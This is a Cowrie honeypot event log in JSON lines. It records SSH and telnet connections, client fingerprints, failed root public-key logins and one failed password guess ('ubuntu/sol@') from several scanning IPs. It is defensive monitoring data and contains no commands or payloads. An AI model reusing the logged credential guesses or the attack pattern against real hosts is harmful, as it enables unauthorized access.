{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:3b:c5:63:05:a0:c7:59:14:3e:88:f3:ad:54:d7:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRDbvKAFyt9qh1rOE9qJh2jR6Ham8OM6y03HLZkoNhq5r0LDjdo8b4yaHbAQFxUM7wVTioB19/OsEbNFmbaHHBidz4Lha5/9vPsUcbcs77u7vVG4mptWvbY8cgbKOv+b720Fzcs4+/EU6gFqI/mrj5Ji9IAMgx4Gyd2Br1oLrg4IUogralp6D4p3rB+JMkmEJc/fe5DuiVuxpkmtKalcY4mDdZEnfHPbIpMwUpAJTCagHS3MkyaW3kdl8wTn0bT2oB8Cn3a/hdpg7Yj17/RLlgd8uiLETCFmH3nUW6id5EJCsnpLV967kUSPojmh3kIYn9ZWicMoph13lGOa+34eP5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:3b:c5:63:05:a0:c7:59:14:3e:88:f3:ad:54:d7:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:43.849542Z","src_ip":"23.239.119.194","session":"3ddc6c2d85b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:3b:c5:63:05:a0:c7:59:14:3e:88:f3:ad:54:d7:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRDbvKAFyt9qh1rOE9qJh2jR6Ham8OM6y03HLZkoNhq5r0LDjdo8b4yaHbAQFxUM7wVTioB19/OsEbNFmbaHHBidz4Lha5/9vPsUcbcs77u7vVG4mptWvbY8cgbKOv+b720Fzcs4+/EU6gFqI/mrj5Ji9IAMgx4Gyd2Br1oLrg4IUogralp6D4p3rB+JMkmEJc/fe5DuiVuxpkmtKalcY4mDdZEnfHPbIpMwUpAJTCagHS3MkyaW3kdl8wTn0bT2oB8Cn3a/hdpg7Yj17/RLlgd8uiLETCFmH3nUW6id5EJCsnpLV967kUSPojmh3kIYn9ZWicMoph13lGOa+34eP5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:43.853777Z","src_ip":"23.239.119.194","session":"3ddc6c2d85b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:43.915781Z","src_ip":"23.239.119.194","session":"3ddc6c2d85b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.9356632232666,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:49.941139Z","src_ip":"152.42.224.71","session":"1c0bbed422a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42500,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ff2547715a5","protocol":"telnet","message":"New connection: 152.42.224.71:42500 (10.17.0.5:23) [session: 5ff2547715a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:02:59.570678Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.199","src_port":61839,"dst_ip":"159.203.135.109","dst_port":22,"session":"146a556d66bc","protocol":"ssh","message":"New connection: 64.62.197.199:61839 (159.203.135.109:22) [session: 146a556d66bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:03:17.090547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:03:17.097929Z","src_ip":"64.62.197.199","session":"146a556d66bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:03:17.172878Z","src_ip":"64.62.197.199","session":"146a556d66bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55728,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed2545121883","protocol":"telnet","message":"New connection: 152.42.224.71:55728 (10.17.0.5:23) [session: ed2545121883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:03:19.950625Z"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:03:21.092246Z","src_ip":"64.62.197.199","session":"146a556d66bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56964,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0b2460dc8e9","protocol":"telnet","message":"New connection: 152.42.224.71:56964 (10.17.0.5:23) [session: d0b2460dc8e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:03:38.425981Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":59558,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6968626ef36","protocol":"telnet","message":"New connection: 213.108.3.46:59558 (159.203.135.109:23) [session: f6968626ef36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:03:43.675627Z"}
{"eventid":"cowrie.session.closed","duration":0.02136397361755371,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:03:43.696890Z","src_ip":"213.108.3.46","session":"f6968626ef36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56974,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cd853445895","protocol":"telnet","message":"New connection: 152.42.224.71:56974 (10.17.0.5:23) [session: 7cd853445895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:03:43.946836Z"}
{"eventid":"cowrie.session.closed","duration":45.00185227394104,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:03:44.572437Z","src_ip":"152.42.224.71","session":"5ff2547715a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34970,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf12963841f9","protocol":"telnet","message":"New connection: 152.42.224.71:34970 (10.17.0.5:23) [session: cf12963841f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:03:57.687713Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":43422,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f6daa492643","protocol":"ssh","message":"New connection: 193.32.162.145:43422 (10.17.0.5:22) [session: 1f6daa492643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:11.872322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:11.877774Z","src_ip":"193.32.162.145","session":"1f6daa492643","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:11.984112Z","src_ip":"193.32.162.145","session":"1f6daa492643","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sol@","message":"login attempt [ubuntu/sol@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:12.305201Z","src_ip":"193.32.162.145","session":"1f6daa492643","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:13.517337Z","src_ip":"193.32.162.145","session":"1f6daa492643","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52494,"dst_ip":"10.17.0.5","dst_port":23,"session":"5be1d573e2ed","protocol":"telnet","message":"New connection: 152.42.224.71:52494 (10.17.0.5:23) [session: 5be1d573e2ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:24.777244Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52498,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5bbc30c7bea","protocol":"telnet","message":"New connection: 152.42.224.71:52498 (10.17.0.5:23) [session: e5bbc30c7bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:24.788401Z"}
{"eventid":"cowrie.session.closed","duration":1.4454646110534668,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:26.222587Z","src_ip":"152.42.224.71","session":"5be1d573e2ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.95.137","src_port":50120,"dst_ip":"10.17.0.5","dst_port":22,"session":"af3689dd0936","protocol":"ssh","message":"New connection: 184.154.95.137:50120 (10.17.0.5:22) [session: af3689dd0936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:29.825789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:29.831933Z","src_ip":"184.154.95.137","session":"af3689dd0936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:29.858874Z","src_ip":"184.154.95.137","session":"af3689dd0936","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:2a:c6:42:fc:e5:16:fa:29:83:e0:61:74:57:b0:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA9xVAZh4a/SaXOyMBnluk3HP9psi/D4uVzOUC1ErfQuo/+BpOs7EdjuvW0qT4JVZ4tdxftYwQeBTIWmMbAEuZgvu4bc0tfsZE81/4tdc+KzcFI3AHKHdSFweaK+h3ABO4WZ2QfBAE25PXxX+FYqgNFUWMMvtAWfaQ8Y68jDrrq4DYK8fDu/DCfN3adzDeD+fQRHPiwO2YLbmFKwZuFWBvqsE1E4d3R/tm39uwb0sd1UTsTwEckxhj81xIZjG6p1cnfRw3EcYJh9HfGffAaMI/m1LAt1CBbQ+335uI8MUY13WX1k/z6rs4KZptoY0t2NWzwWea8r4i/cMfJFiH15ujzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:2a:c6:42:fc:e5:16:fa:29:83:e0:61:74:57:b0:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:29.973328Z","src_ip":"184.154.95.137","session":"af3689dd0936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:2a:c6:42:fc:e5:16:fa:29:83:e0:61:74:57:b0:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA9xVAZh4a/SaXOyMBnluk3HP9psi/D4uVzOUC1ErfQuo/+BpOs7EdjuvW0qT4JVZ4tdxftYwQeBTIWmMbAEuZgvu4bc0tfsZE81/4tdc+KzcFI3AHKHdSFweaK+h3ABO4WZ2QfBAE25PXxX+FYqgNFUWMMvtAWfaQ8Y68jDrrq4DYK8fDu/DCfN3adzDeD+fQRHPiwO2YLbmFKwZuFWBvqsE1E4d3R/tm39uwb0sd1UTsTwEckxhj81xIZjG6p1cnfRw3EcYJh9HfGffAaMI/m1LAt1CBbQ+335uI8MUY13WX1k/z6rs4KZptoY0t2NWzwWea8r4i/cMfJFiH15ujzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:29.982971Z","src_ip":"184.154.95.137","session":"af3689dd0936","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:6e:93:ba:31:25:d9:77:b9:cd:a2:b2:0d:9e:8e:f3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGd2xqBUpX8eLSK+VHdZ73SQg38wVyR8Po/LCoM5OaMa","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint fd:6e:93:ba:31:25:d9:77:b9:cd:a2:b2:0d:9e:8e:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:30.014708Z","src_ip":"184.154.95.137","session":"af3689dd0936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:6e:93:ba:31:25:d9:77:b9:cd:a2:b2:0d:9e:8e:f3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGd2xqBUpX8eLSK+VHdZ73SQg38wVyR8Po/LCoM5OaMa","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:30.022127Z","src_ip":"184.154.95.137","session":"af3689dd0936","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:df:bb:45:5b:a9:3f:2e:18:60:f7:ee:8b:c0:77:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgNfzYoJ2UJZfb6tmGcQk7zsrh1oBB8hIHmPNExDi8XVyKZGJKfldx3YdYeiyz6Wb3XZ9YcuYqBZrsgif6aYxGuXbUfd/gBbpawxu1inc1XY0kokRfS9fhOjB8Yhiw4BkQiS0bqGkg7+qC49QHF3CA0VYsdGqBIKjq8NnxpolQhB7YvKhbIFBkQTffx7vLyrJLhV9MIMCIHCGAq1grwUbYq6g7+dmBM2pBvUq+eAzM+89bkKR9vWRCd+MQfuB0bU/Ptckm9PoEl3IW1SMNXQ/dFLqpXWw6XXNasAs+sZwXk9A/nyv0PLk1G38P7FdIJbrDJQpx/lkjBerezJuzEpZf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:df:bb:45:5b:a9:3f:2e:18:60:f7:ee:8b:c0:77:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:30.062680Z","src_ip":"184.154.95.137","session":"af3689dd0936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:df:bb:45:5b:a9:3f:2e:18:60:f7:ee:8b:c0:77:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgNfzYoJ2UJZfb6tmGcQk7zsrh1oBB8hIHmPNExDi8XVyKZGJKfldx3YdYeiyz6Wb3XZ9YcuYqBZrsgif6aYxGuXbUfd/gBbpawxu1inc1XY0kokRfS9fhOjB8Yhiw4BkQiS0bqGkg7+qC49QHF3CA0VYsdGqBIKjq8NnxpolQhB7YvKhbIFBkQTffx7vLyrJLhV9MIMCIHCGAq1grwUbYq6g7+dmBM2pBvUq+eAzM+89bkKR9vWRCd+MQfuB0bU/Ptckm9PoEl3IW1SMNXQ/dFLqpXWw6XXNasAs+sZwXk9A/nyv0PLk1G38P7FdIJbrDJQpx/lkjBerezJuzEpZf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:30.066638Z","src_ip":"184.154.95.137","session":"af3689dd0936","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:17:20:45:eb:eb:49:3a:11:f0:3e:87:15:d0:23:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIlLwb29LAI9IVBtBCVGIR1UEWGUKp/96a9SpmNJ19cTwJkPkKg+LUUHOrseHprimr99qOnPa/Z3zOOWGHRDP0oTsVg/h2s0C4eapGrxV1HVDWhJH6TnNKaWiuKBXw743i/VASVbyV3MQG1RKu5zog/7UrI8OHKB24MKpJEzsj1hUnhfdSicAVKw/Z/XVCE+yEZu18wDZr0C+KYe20J6BOfSd2SjfC4fE+xHB8LBWYt++jg5slzYqwjiDeMpwTwYBMC8lVwkk7pyNTytmLlsrHq6ALvVD6ZS8FWtK9XiB5dF2vk0sXRy/L6kMlFNbUQJNiUHZF1OpHo9+GTjETU4N9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:17:20:45:eb:eb:49:3a:11:f0:3e:87:15:d0:23:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:30.098995Z","src_ip":"184.154.95.137","session":"af3689dd0936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:17:20:45:eb:eb:49:3a:11:f0:3e:87:15:d0:23:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIlLwb29LAI9IVBtBCVGIR1UEWGUKp/96a9SpmNJ19cTwJkPkKg+LUUHOrseHprimr99qOnPa/Z3zOOWGHRDP0oTsVg/h2s0C4eapGrxV1HVDWhJH6TnNKaWiuKBXw743i/VASVbyV3MQG1RKu5zog/7UrI8OHKB24MKpJEzsj1hUnhfdSicAVKw/Z/XVCE+yEZu18wDZr0C+KYe20J6BOfSd2SjfC4fE+xHB8LBWYt++jg5slzYqwjiDeMpwTwYBMC8lVwkk7pyNTytmLlsrHq6ALvVD6ZS8FWtK9XiB5dF2vk0sXRy/L6kMlFNbUQJNiUHZF1OpHo9+GTjETU4N9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:30.104419Z","src_ip":"184.154.95.137","session":"af3689dd0936","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:3d:61:18:38:37:ae:16:06:e9:d3:ee:48:07:8c:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvJWXQ82FhGQt7tROddl6Ft0pgcab08b245VHpahTRRhgHnDhifGcvjY1vZIen4Ap4h/eoVLT7m63YgK8njXrg91at9ZiAUAPgbh1y57yrTfHV7JOwbx2iPere51pmIfejdTBBB/BpNw60/HJgwWBok9DHD9XHKCPolrQdiM5Z/kfYYe9UlS45F73DRA9MVxcYr/88F1AFMlP8qgL7ZSViuGEyMUkgY3OxCNMlkZMh5k6zJFWR6M7g32yCk/TRR7Hg9aQBr97a9msleX9QoQ7b4NM4cqzUAZQ/lxlLXZUT8UoELIBYqOK8t6TiggnPhbOs06AvQaaEtls1I/HkMob881r4+xh9WVvSADaXeoyHaPTJH7O8MKGJvJ7SFnbCVixkOYB6sqn9DZnZq8AukJLcjOI2FidmfIybfXWkIyHekyJ3MNpL2KOKBVb5B5fUHS4AitMobnPGrSVmkgtJQskxUgwD80bfBbKt4bnfNibqRJ7oyTZi6k3m4EqkxQsXuWM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:3d:61:18:38:37:ae:16:06:e9:d3:ee:48:07:8c:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:30.146514Z","src_ip":"184.154.95.137","session":"af3689dd0936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:3d:61:18:38:37:ae:16:06:e9:d3:ee:48:07:8c:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvJWXQ82FhGQt7tROddl6Ft0pgcab08b245VHpahTRRhgHnDhifGcvjY1vZIen4Ap4h/eoVLT7m63YgK8njXrg91at9ZiAUAPgbh1y57yrTfHV7JOwbx2iPere51pmIfejdTBBB/BpNw60/HJgwWBok9DHD9XHKCPolrQdiM5Z/kfYYe9UlS45F73DRA9MVxcYr/88F1AFMlP8qgL7ZSViuGEyMUkgY3OxCNMlkZMh5k6zJFWR6M7g32yCk/TRR7Hg9aQBr97a9msleX9QoQ7b4NM4cqzUAZQ/lxlLXZUT8UoELIBYqOK8t6TiggnPhbOs06AvQaaEtls1I/HkMob881r4+xh9WVvSADaXeoyHaPTJH7O8MKGJvJ7SFnbCVixkOYB6sqn9DZnZq8AukJLcjOI2FidmfIybfXWkIyHekyJ3MNpL2KOKBVb5B5fUHS4AitMobnPGrSVmkgtJQskxUgwD80bfBbKt4bnfNibqRJ7oyTZi6k3m4EqkxQsXuWM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:04:30.153161Z","src_ip":"184.154.95.137","session":"af3689dd0936","protocol":"ssh"}
